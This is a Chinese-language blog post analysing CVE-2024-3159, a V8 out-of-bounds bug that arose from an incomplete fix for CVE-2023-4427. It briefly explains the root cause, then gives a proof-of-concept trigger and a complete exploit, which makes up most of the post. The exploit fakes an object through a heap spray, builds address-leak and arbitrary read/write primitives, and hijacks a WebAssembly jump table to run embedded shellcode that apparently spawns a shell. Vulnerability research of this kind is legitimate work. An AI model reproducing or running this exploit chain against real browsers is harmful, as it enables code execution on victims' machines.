CVE-2024-3159:Out of bounds memory access in V8

前言

这个洞在今年的 Pwn2Own 上被利用,目前还没有公开报告。该漏洞可以说是 CVE-2023-4427 漏洞未正确修复,其原理和利用跟 CVE-2023-4427 没有本质区别,CVE-2023-4427 之前分析过,所以这里不作过多说明,仅仅做记录

环境搭建

git checkout 1c623f9ff6e077be1c66f155485ea4005ddb6574
gclient sync -D

漏洞分析

在这里插入图片描述
可以看到这里对之前修复的 CVE-2023-4427 增加了一种情况:

  • {split_map}'s descriptors 存在 enum_cache 时,也要进行复制更新

则之前的修复遗漏了这种情况,这里也不多说了,参考 CVE-2023-4427 就行,毕竟这个漏洞就是 CVE-2023-4427 修复不完全导致的,这里直接看 POC

const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
obj3.d = 4;

const obj4 = {};
obj4.a = 1;
obj4.b = 2;
obj4.c = 3;
obj4.e = 4;

// init enum cache
for (let key in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}

%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);

trigger(
        _=>{
                obj4.c = 1.1;
                for (let i in obj1) {}
        }
);

输出如下:

$ ./d8 --allow-natives-syntax poc.js
1
2
1
2
1
2
1
undefined

大致原理如下:
在这里插入图片描述
这里可以出现一种情况,即 descriptor array0enum cache 不为空,而 descriptor array1enum cache 为空,那么当修改 obj4.c = 1.1 时,由于这里是从 Smi 变成了一个 double,所以并不是简单修改描述符数组,而是会为 obj4 创建一个新的 map,并沿着 map transition tree 进行修改,使其 descriptor array 保持一致。而此时 obj4 对应的描述符数组的 enum cache 为空,所以不会对新的描述符数组的 enum cache 进行更新,从而导致 obj2 对应的 enum cache 也为空。后面的情况跟 CVE-2023-4427 就是如出一辙了…

漏洞利用

针对此类漏洞,本来是可以泄漏 TheHole 的,但是高版本利用不了,所以这里还是只能写一个依赖特定版本的利用(使用硬编码…

简单糊了一个…

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

var spray_array = Array(0xf700);
var data_start_addr = 0x00442129+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;

spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2d04040400000061n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x219);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);

var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x004c2129;

//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();

const object1 = {};
object1.a = 1;

const object2 = {};
object2.a = 2;
object2.b = 2;

//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
        N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];

const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;

const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;

let fake_array;
for (let key in object2) {}
function trigger(callback) {
        for (let key in object2) {
                callback();
                fake_array = object2[key];
        }
}

//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {
        trigger(_ => _);
        trigger(_ => _);
        trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
//      print("callback");
        object4.c = 1.1;
        for (let key in object1) { }
//      %DebugPrint(object2);
//      readline();
});

//print(fake_array === %TheHole());
//%DebugPrint(fake_array);

function addressOf(obj) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
        leak_object_array[0] = obj;
        f64[0] = fake_array[0];
        return u32[0];
}

//var test = [1.1];
//hexx("test address", addressOf(test));
//%DebugPrint(test);


function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(fake_array[0]);
}

function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}

function arb_write_full_cage(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        fake_array[0] = u64_to_f64(val);
}

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
        wmain();
}

let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x50;
let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);

arb_write_full_cage(jump_table_addr, rwx_addr+0x71dn-5n);
var pwn = instance.exports.pwn;
pwn();

//%DebugPrint(instance);
//readline();

效果如下:
在这里插入图片描述

参考

https://chromium-review.googlesource.com/c/v8/v8/+/5401860/2/src/objects/map-updater.cc#1055
https://chromereleases.googleblog.com/2024/04/stable-channel-update-for-desktop.html

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值